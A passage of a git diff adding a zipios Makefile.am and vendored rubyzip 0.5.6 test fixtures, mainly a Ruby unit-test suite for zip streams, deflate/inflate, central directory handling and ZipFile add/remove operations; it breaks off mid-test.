+CXXFLAGS= -g + +noinst_LIBRARIES = libzipios.a + +bin_PROGRAMS = test_zip test_izipfilt test_izipstream +# test_flist + +libzipios_a_SOURCES = backbuffer.h fcol.cpp fcol.h \ + fcol_common.h fcolexceptions.cpp fcolexceptions.h \ + fileentry.cpp fileentry.h flist.cpp \ + flist.h flistentry.cpp flistentry.h \ + flistscanner.h ifiltstreambuf.cpp ifiltstreambuf.h \ + inflatefilt.cpp inflatefilt.h izipfilt.cpp \ + izipfilt.h izipstream.cpp izipstream.h \ + zipfile.cpp zipfile.h ziphead.cpp \ + ziphead.h flistscanner.ll + +# test_flist_SOURCES = test_flist.cpp + +test_izipfilt_SOURCES = test_izipfilt.cpp + +test_izipstream_SOURCES = test_izipstream.cpp + +test_zip_SOURCES = test_zip.cpp + +# Notice that libzipios.a is not specified as -L. -lzipios +# If it was, automake would not include it as a dependency. + +# test_flist_LDADD = libzipios.a + +test_izipfilt_LDADD = libzipios.a -lz + +test_zip_LDADD = libzipios.a -lz + +test_izipstream_LDADD = libzipios.a -lz + + + +flistscanner.cc : flistscanner.ll + $(LEX) -+ -PFListScanner -o$@ $^ + diff --git a/vendor/rubyzip-0.5.6/test/file1.txt.deflatedData b/vendor/rubyzip-0.5.6/test/file1.txt.deflatedData new file mode 100755 index 00000000..bfbb4f42 Binary files /dev/null and b/vendor/rubyzip-0.5.6/test/file1.txt.deflatedData differ diff --git a/vendor/rubyzip-0.5.6/test/file2.txt b/vendor/rubyzip-0.5.6/test/file2.txt new file mode 100755 index 00000000..cc9ef6ad --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/file2.txt @@ -0,0 +1,1504 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +require 'rubyunit' +require 'zip' + +include Zip + +Dir.chdir "test" + +class AbstractInputStreamTest < RUNIT::TestCase + # AbstractInputStream subclass that provides a read method + + TEST_LINES = [ "Hello world#{$/}", + "this is the second line#{$/}", + "this is the last line"] + TEST_STRING = TEST_LINES.join + class TestAbstractInputStream + include AbstractInputStream + def initialize(aString) + @contents = aString + @readPointer = 0 + end + + def read(charsToRead) + retVal=@contents[@readPointer, charsToRead] + @readPointer+=charsToRead + return retVal + end + + def produceInput + read(100) + end + + def inputFinished? + @contents[@readPointer] == nil + end + end + + def setup + @io = TestAbstractInputStream.new(TEST_STRING) + end + + def test_gets + assert_equals(TEST_LINES[0], @io.gets) + assert_equals(TEST_LINES[1], @io.gets) + assert_equals(TEST_LINES[2], @io.gets) + assert_equals(nil, @io.gets) + end + + def test_getsMultiCharSeperator + assert_equals("Hell", @io.gets("ll")) + assert_equals("o world#{$/}this is the second l", @io.gets("d l")) + end + + def test_each_line + lineNumber=0 + @io.each_line { + |line| + assert_equals(TEST_LINES[lineNumber], line) + lineNumber+=1 + } + end + + def test_readlines + assert_equals(TEST_LINES, @io.readlines) + end + + def test_readline + test_gets + begin + @io.readline + fail "EOFError expected" + rescue EOFError + end + end +end + +class ZipEntryTest < RUNIT::TestCase + TEST_ZIPFILE = "someZipFile.zip" + TEST_COMMENT = "a comment" + TEST_COMPRESSED_SIZE = 1234 + TEST_CRC = 325324 + TEST_EXTRA = "Some data here" + TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED + TEST_NAME = "entry name" + TEST_SIZE = 8432 + TEST_ISDIRECTORY = false + + def test_constructorAndGetters + entry = ZipEntry.new(TEST_ZIPFILE, + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) + + assert_equals(TEST_COMMENT, entry.comment) + assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) + assert_equals(TEST_CRC, entry.crc) + assert_equals(TEST_EXTRA, entry.extra) + assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) + assert_equals(TEST_NAME, entry.name) + assert_equals(TEST_SIZE, entry.size) + assert_equals(TEST_ISDIRECTORY, entry.isDirectory) + end + + def test_equality + entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) + entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) + entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) + entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) + entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) + + assert_equals(entry1, entry1) + assert_equals(entry1, entry2) + + assert(entry2 != entry3) + assert(entry3 != entry4) + assert(entry4 != entry5) + assert(entry5 != entry6) + assert(entry6 != entry7) + assert(entry7 != entry8) + + assert(entry7 != "hello") + assert(entry7 != 12) + end +end + +module IOizeString + attr_reader :tell + + def read(count = nil) + @tell ||= 0 + count = size unless count + retVal = slice(@tell, count) + @tell += count + return retVal + end + + def seek(index, offset) + @tell ||= 0 + case offset + when IO::SEEK_END + newPos = size + index + when IO::SEEK_SET + newPos = index + when IO::SEEK_CUR + newPos = @tell + index + else + raise "Error in test method IOizeString::seek" + end + if (newPos < 0 || newPos >= size) + raise Errno::EINVAL + else + @tell=newPos + end + end + + def reset + @tell = 0 + end +end + +class ZipLocalEntryTest < RUNIT::TestCase + def test_readLocalEntryHeaderOfFirstTestZipEntry + File.open(TestZipFile::TEST_ZIP3.zipName) { + |file| + entry = ZipEntry.readLocalEntry(file) + + assert_equal("", entry.comment) + # Differs from windows and unix because of CR LF + # assert_equal(480, entry.compressedSize) + # assert_equal(0x2a27930f, entry.crc) + # extra field is 21 bytes long + # probably contains some unix attrutes or something + # disabled: assert_equal(nil, entry.extra) + assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) + assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) + assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) + assert(! entry.isDirectory) + } + end + + def test_readLocalEntryFromNonZipFile + File.open("ziptest.rb") { + |file| + assert_equals(nil, ZipEntry.readLocalEntry(file)) + } + end + + def test_readLocalEntryFromTruncatedZipFile + zipFragment="" + File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes + zipFragment.extend(IOizeString).reset + entry = ZipEntry.new + entry.readLocalEntry(zipFragment) + fail "ZipError expected" + rescue ZipError + end + + def test_writeEntry + entry = ZipEntry.new("file.zip", "entryName", "my little comment", + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) + writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) + entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") + compareLocalEntryHeaders(entry, entryReadLocal) + compareCDirEntryHeaders(entry, entryReadCentral) + end + + private + def compareLocalEntryHeaders(entry1, entry2) + assert_equals(entry1.compressedSize , entry2.compressedSize) + assert_equals(entry1.crc , entry2.crc) + assert_equals(entry1.extra , entry2.extra) + assert_equals(entry1.compressionMethod, entry2.compressionMethod) + assert_equals(entry1.name , entry2.name) + assert_equals(entry1.size , entry2.size) + assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) + end + + def compareCDirEntryHeaders(entry1, entry2) + compareLocalEntryHeaders(entry1, entry2) + assert_equals(entry1.comment, entry2.comment) + end + + def writeToFile(localFileName, centralFileName, entry) + File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } + File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } + end + + def readFromFile(localFileName, centralFileName) + localEntry = nil + cdirEntry = nil + File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } + File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } + return [localEntry, cdirEntry] + end +end + + +module DecompressorTests + # expects @refText and @decompressor + + def test_readEverything + assert_equals(@refText, @decompressor.read) + end + + def test_readInChunks + chunkSize = 5 + while (decompressedChunk = @decompressor.read(chunkSize)) + assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) + end + assert_equals(0, @refText.size) + end +end + +class InflaterTest < RUNIT::TestCase + include DecompressorTests + + def setup + @file = File.new("file1.txt.deflatedData", "rb") + @refText="" + File.open("file1.txt") { |f| @refText = f.read } + @decompressor = Inflater.new(@file) + end + + def teardown + @file.close + end +end + + +class PassThruDecompressorTest < RUNIT::TestCase + include DecompressorTests + TEST_FILE="file1.txt" + def setup + @file = File.new(TEST_FILE) + @refText="" + File.open(TEST_FILE) { |f| @refText = f.read } + @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) + end + + def teardown + @file.close + end +end + + +module AssertEntry + def assertNextEntry(filename, zis) + assertEntry(filename, zis, zis.getNextEntry.name) + end + + def assertEntry(filename, zis, entryName) + assert_equals(filename, entryName) + assertEntryContentsForStream(filename, zis, entryName) + end + + def assertEntryContentsForStream(filename, zis, entryName) + File.open(filename, "rb") { + |file| + expected = file.read + actual = zis.read + if (expected != actual) + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end + end + } + end + + def AssertEntry.assertContents(filename, aString) + fileContents = "" + File.open(filename, "rb") { |f| fileContents = f.read } + if (fileContents != aString) + if (expected.length > 400 || actual.length > 400) + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + else + assert_equals(expected, actual) + end + end + end + + def assertStreamContents(zis, testZipFile) + assert(zis != nil) + testZipFile.entryNames.each { + |entryName| + assertNextEntry(entryName, zis) + } + assert_equals(nil, zis.getNextEntry) + end + + def assertTestZipContents(testZipFile) + ZipInputStream.open(testZipFile.zipName) { + |zis| + assertStreamContents(zis, testZipFile) + } + end + + def assertEntryContents(zipFile, entryName, filename = entryName.to_s) + zis = zipFile.getInputStream(entryName) + assertEntryContentsForStream(filename, zis, entryName) + ensure + zis.close if zis + end +end + + + +class ZipInputStreamTest < RUNIT::TestCase + include AssertEntry + + def test_new + zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) + assertStreamContents(zis, TestZipFile::TEST_ZIP2) + zis.close + end + + def test_openWithBlock + ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { + |zis| + assertStreamContents(zis, TestZipFile::TEST_ZIP2) + } + end + + def test_openWithoutBlock + zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) + assertStreamContents(zis, TestZipFile::TEST_ZIP2) + end + + def test_incompleteReads + ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { + |zis| + entry = zis.getNextEntry + assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) + assert zis.gets.length > 0 + entry = zis.getNextEntry + assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) + assert_equals(0, entry.size) + assert_equals(nil, zis.gets) + entry = zis.getNextEntry + assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) + assert zis.gets.length > 0 + entry = zis.getNextEntry + assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) + assert zis.gets.length > 0 + } + end + +end + +class TestFiles + RANDOM_ASCII_FILE1 = "randomAscii1.txt" + RANDOM_ASCII_FILE2 = "randomAscii2.txt" + RANDOM_ASCII_FILE3 = "randomAscii3.txt" + RANDOM_BINARY_FILE1 = "randomBinary1.bin" + RANDOM_BINARY_FILE2 = "randomBinary2.bin" + + EMPTY_TEST_DIR = "emptytestdir" + + ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] + BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] + TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] + TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! + + def TestFiles.createTestFiles(recreate) + if (recreate || + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + + ASCII_TEST_FILES.each_with_index { + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) + } + + BINARY_TEST_FILES.each_with_index { + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) + } + + ensureDir(EMPTY_TEST_DIR) + end + end + + private + def TestFiles.createRandomAscii(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << rand + end + } + end + + def TestFiles.createRandomBinary(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << rand.to_a.pack("V") + end + } + end + + def TestFiles.ensureDir(name) + if File.exists?(name) + return if File.stat(name).directory? + File.delete(name) + end + Dir.mkdir(name) + end + +end + +# For representation and creation of +# test data +class TestZipFile + attr_accessor :zipName, :entryNames, :comment + + def initialize(zipName, entryNames, comment = "") + @zipName=zipName + @entryNames=entryNames + @comment = comment + end + + def TestZipFile.createTestZips(recreate) + files = Dir.entries(".") + if (recreate || + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) + raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless + system("zip #{TEST_ZIP1.zipName} ziptest.rb") + raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + + File.open("empty.txt", "w") {} + + File.open("short.txt", "w") { |file| file << "ABCDEF" } + ziptestTxt="" + File.open("ziptest.rb") { |file| ziptestTxt=file.read } + File.open("longAscii.txt", "w") { + |file| + while (file.tell < 1E5) + file << ziptestTxt + end + } + + testBinaryPattern="" + File.open("empty.zip") { |file| testBinaryPattern=file.read } + testBinaryPattern *= 4 + + File.open("longBinary.bin", "wb") { + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end + } + raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + + # without bash system interprets everything after echo as parameters to + # echo including | zip -z ... + raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + + raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + + raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless + system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + end + rescue + raise $!.to_s + + "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + + "to create test data. If you don't have it you can download\n" + + "the necessary test files at http://sf.net/projects/rubyzip." + end + + TEST_ZIP1 = TestZipFile.new("empty.zip", []) + TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, + "my zip comment") + TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) + TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", + TestFiles::EMPTY_TEST_DIR]) +end + + +class AbstractOutputStreamTest < RUNIT::TestCase + class TestOutputStream + include AbstractOutputStream + + attr_accessor :buffer + + def initialize + @buffer = "" + end + + def << (data) + @buffer << data + self + end + end + + def setup + @outputStream = TestOutputStream.new + + @origCommaSep = $, + @origOutputSep = $\ + end + + def teardown + $, = @origCommaSep + $\ = @origOutputSep + end + + def test_write + count = @outputStream.write("a little string") + assert_equals("a little string", @outputStream.buffer) + assert_equals("a little string".length, count) + + count = @outputStream.write(". a little more") + assert_equals("a little string. a little more", @outputStream.buffer) + assert_equals(". a little more".length, count) + end + + def test_print + $\ = nil # record separator set to nil + @outputStream.print("hello") + assert_equals("hello", @outputStream.buffer) + + @outputStream.print(" world.") + assert_equals("hello world.", @outputStream.buffer) + + @outputStream.print(" You ok ", "out ", "there?") + assert_equals("hello world. You ok out there?", @outputStream.buffer) + + $\ = "\n" + @outputStream.print + assert_equals("hello world. You ok out there?\n", @outputStream.buffer) + + @outputStream.print("I sure hope so!") + assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) + + $, = "X" + @outputStream.buffer = "" + @outputStream.print("monkey", "duck", "zebra") + assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) + + $\ = nil + @outputStream.buffer = "" + @outputStream.print(20) + assert_equals("20", @outputStream.buffer) + end + + def test_printf + @outputStream.printf("%d %04x", 123, 123) + assert_equals("123 007b", @outputStream.buffer) + end + + def test_putc + @outputStream.putc("A") + assert_equals("A", @outputStream.buffer) + @outputStream.putc(65) + assert_equals("AA", @outputStream.buffer) + end + + def test_puts + @outputStream.puts + assert_equals("\n", @outputStream.buffer) + + @outputStream.puts("hello", "world") + assert_equals("\nhello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts("hello\n", "world\n") + assert_equals("hello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(["hello\n", "world\n"]) + assert_equals("hello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(["hello\n", "world\n"], "bingo") + assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(16, 20, 50, "hello") + assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) + end +end + + +module CrcTest + def runCrcTest(compressorClass) + str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." + fakeOut = AbstractOutputStreamTest::TestOutputStream.new + + deflater = compressorClass.new(fakeOut) + deflater << str + assert_equals(0x919920fc, deflater.crc) + end +end + + + +class PassThruCompressorTest < RUNIT::TestCase + include CrcTest + + def test_size + File.open("dummy.txt", "wb") { + |file| + compressor = PassThruCompressor.new(file) + + assert_equals(0, compressor.size) + + t1 = "hello world" + t2 = "" + t3 = "bingo" + + compressor << t1 + assert_equals(compressor.size, t1.size) + + compressor << t2 + assert_equals(compressor.size, t1.size + t2.size) + + compressor << t3 + assert_equals(compressor.size, t1.size + t2.size + t3.size) + } + end + + def test_crc + runCrcTest(PassThruCompressor) + end +end + +class DeflaterTest < RUNIT::TestCase + include CrcTest + + def test_outputOperator + txt = loadFile("ziptest.rb") + deflate(txt, "deflatertest.bin") + inflatedTxt = inflate("deflatertest.bin") + assert_equals(txt, inflatedTxt) + end + + private + def loadFile(fileName) + txt = nil + File.open(fileName, "rb") { |f| txt = f.read } + end + + def deflate(data, fileName) + File.open(fileName, "wb") { + |file| + deflater = Deflater.new(file) + deflater << data + deflater.finish + assert_equals(deflater.size, data.size) + file << "trailing data for zlib with -MAX_WBITS" + } + end + + def inflate(fileName) + txt = nil + File.open(fileName, "rb") { + |file| + inflater = Inflater.new(file) + txt = inflater.read + } + end + + def test_crc + runCrcTest(Deflater) + end +end + +class ZipOutputStreamTest < RUNIT::TestCase + include AssertEntry + + TEST_ZIP = TestZipFile::TEST_ZIP2.clone + TEST_ZIP.zipName = "output.zip" + + def test_new + zos = ZipOutputStream.new(TEST_ZIP.zipName) + zos.comment = TEST_ZIP.comment + writeTestZip(zos) + zos.close + assertTestZipContents(TEST_ZIP) + end + + def test_open + ZipOutputStream.open(TEST_ZIP.zipName) { + |zos| + zos.comment = TEST_ZIP.comment + writeTestZip(zos) + } + assertTestZipContents(TEST_ZIP) + end + + def test_writingToClosedStream + assertIOErrorInClosedStream { |zos| zos << "hello world" } + assertIOErrorInClosedStream { |zos| zos.puts "hello world" } + assertIOErrorInClosedStream { |zos| zos.write "hello world" } + end + + def test_cannotOpenFile + name = TestFiles::EMPTY_TEST_DIR + begin + zos = ZipOutputStream.open(name) + rescue Exception + assert($!.kind_of?(Errno::EISDIR) || # Linux + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") + end + end + + def assertIOErrorInClosedStream + assert_exception(IOError) { + zos = ZipOutputStream.new("test_putOnClosedStream.zip") + zos.close + yield zos + } + end + + def writeTestZip(zos) + TEST_ZIP.entryNames.each { + |entryName| + zos.putNextEntry(entryName) + File.open(entryName, "rb") { |f| zos.write(f.read) } + } + end +end + + + +module Enumerable + def compareEnumerables(otherEnumerable) + otherAsArray = otherEnumerable.to_a + index=0 + each_with_index { + |element, index| + return false unless yield(element, otherAsArray[index]) + } + return index+1 == otherAsArray.size + end +end + + +class ZipCentralDirectoryEntryTest < RUNIT::TestCase + + def test_readFromStream + File.open("testDirectory.bin", "rb") { + |file| + entry = ZipEntry.readCDirEntry(file) + + assert_equals("longAscii.txt", entry.name) + assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) + assert_equals(106490, entry.size) + assert_equals(3784, entry.compressedSize) + assert_equals(0xfcd1799c, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.readCDirEntry(file) + assert_equals("empty.txt", entry.name) + assert_equals(ZipEntry::STORED, entry.compressionMethod) + assert_equals(0, entry.size) + assert_equals(0, entry.compressedSize) + assert_equals(0x0, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.readCDirEntry(file) + assert_equals("short.txt", entry.name) + assert_equals(ZipEntry::STORED, entry.compressionMethod) + assert_equals(6, entry.size) + assert_equals(6, entry.compressedSize) + assert_equals(0xbb76fe69, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.readCDirEntry(file) + assert_equals("longBinary.bin", entry.name) + assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) + assert_equals(1000024, entry.size) + assert_equals(70847, entry.compressedSize) + assert_equals(0x10da7d59, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.readCDirEntry(file) + assert_equals(nil, entry) +# Fields that are not check by this test: +# version made by 2 bytes +# version needed to extract 2 bytes +# general purpose bit flag 2 bytes +# last mod file time 2 bytes +# last mod file date 2 bytes +# compressed size 4 bytes +# uncompressed size 4 bytes +# disk number start 2 bytes +# internal file attributes 2 bytes +# external file attributes 4 bytes +# relative offset of local header 4 bytes + +# file name (variable size) +# extra field (variable size) +# file comment (variable size) + + } + end + + def test_ReadEntryFromTruncatedZipFile + fragment="" + File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes + fragment.extend(IOizeString) + entry = ZipEntry.new + entry.readCDirEntry(fragment) + fail "ZipError expected" + rescue ZipError + end + +end + +class ZipCentralDirectoryTest < RUNIT::TestCase + + def test_readFromStream + File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { + |zipFile| + cdir = ZipCentralDirectory.readFromStream(zipFile) + + assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) + assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) + assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) + } + end + + def test_readFromInvalidStream + File.open("ziptest.rb", "rb") { + |zipFile| + cdir = ZipCentralDirectory.new + cdir.readFromStream(zipFile) + } + fail "ZipError expected!" + rescue ZipError + end + + def test_ReadFromTruncatedZipFile + fragment="" + File.open("testDirectory.bin") { |f| fragment = f.read } + fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete + fragment.extend(IOizeString) + entry = ZipCentralDirectory.new + entry.readFromStream(fragment) + fail "ZipError expected" + rescue ZipError + end + + def test_writeToStream + entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] + cdir = ZipCentralDirectory.new(entries, "my zip comment") + File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } + cdirReadback = ZipCentralDirectory.new + File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } + + assert_equals(cdir.entries, cdirReadback.entries) + end + + def test_equality + cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") + cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") + cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") + cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") + assert_equals(cdir1, cdir1) + assert_equals(cdir1, cdir2) + + assert(cdir1 != cdir3) + assert(cdir2 != cdir3) + assert(cdir2 != cdir3) + assert(cdir3 != cdir4) + + assert(cdir3 != "hello") + end +end + + +class BasicZipFileTest < RUNIT::TestCase + include AssertEntry + + def setup + @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) + @testEntryNameIndex=0 + end + + def nextTestEntryName + retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] + @testEntryNameIndex+=1 + return retVal + end + + def test_entries + assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) + end + + def test_each + @zipFile.each { + |entry| + assert_equals(nextTestEntryName, entry.name) + } + assert_equals(4, @testEntryNameIndex) + end + + def test_foreach + ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { + |entry| + assert_equals(nextTestEntryName, entry.name) + } + assert_equals(4, @testEntryNameIndex) + end + + def test_getInputStream + @zipFile.each { + |entry| + assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), + entry.name) + } + assert_equals(4, @testEntryNameIndex) + end + + def test_getInputStreamBlock + fileAndEntryName = @zipFile.entries.first.name + @zipFile.getInputStream(fileAndEntryName) { + |zis| + assertEntryContentsForStream(fileAndEntryName, + zis, + fileAndEntryName) + } + end +end + +class CommonZipFileFixture < RUNIT::TestCase + include AssertEntry + + EMPTY_FILENAME = "emptyZipFile.zip" + + TEST_ZIP = TestZipFile::TEST_ZIP2.clone + TEST_ZIP.zipName = "4entry_copy.zip" + + def setup + File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) + File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) + end +end + +class ZipFileTest < CommonZipFileFixture + + def test_createFromScratch + comment = "a short comment" + + zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) + zf.comment = comment + zf.close + + zfRead = ZipFile.new(EMPTY_FILENAME) + assert_equals(comment, zfRead.comment) + assert_equals(0, zfRead.entries.length) + end + + def test_add + srcFile = "ziptest.rb" + entryName = "newEntryName.rb" + assert(File.exists? srcFile) + zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) + zf.add(entryName, srcFile) + zf.close + + zfRead = ZipFile.new(EMPTY_FILENAME) + assert_equals("", zfRead.comment) + assert_equals(1, zfRead.entries.length) + assert_equals(entryName, zfRead.entries.first.name) + AssertEntry.assertContents(srcFile, + zfRead.getInputStream(entryName) { |zis| zis.read }) + end + + def test_addExistingEntryName + assert_exception(ZipEntryExistsError) { + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.add(zf.entries.first.name, "ziptest.rb") + } + } + end + + def test_addExistingEntryNameReplace + gotCalled = false + replacedEntry = nil + ZipFile.open(TEST_ZIP.zipName) { + |zf| + replacedEntry = zf.entries.first.name + zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } + } + assert(gotCalled) + ZipFile.open(TEST_ZIP.zipName) { + |zf| + assertContains(zf, replacedEntry, "ziptest.rb") + } + end + + def test_addDirectory + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) + } + ZipFile.open(TEST_ZIP.zipName) { + |zf| + dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } + assert(dirEntry.isDirectory) + } + end + + def test_remove + entryToRemove, *remainingEntries = TEST_ZIP.entryNames + + File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) + + zf = ZipFile.new(TEST_ZIP.zipName) + assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) + zf.remove(entryToRemove) + assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) + assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zipName) + assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) + assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) + zfRead.close + end + + + def test_rename + entryToRename, *remainingEntries = TEST_ZIP.entryNames + + zf = ZipFile.new(TEST_ZIP.zipName) + assert(zf.entries.map { 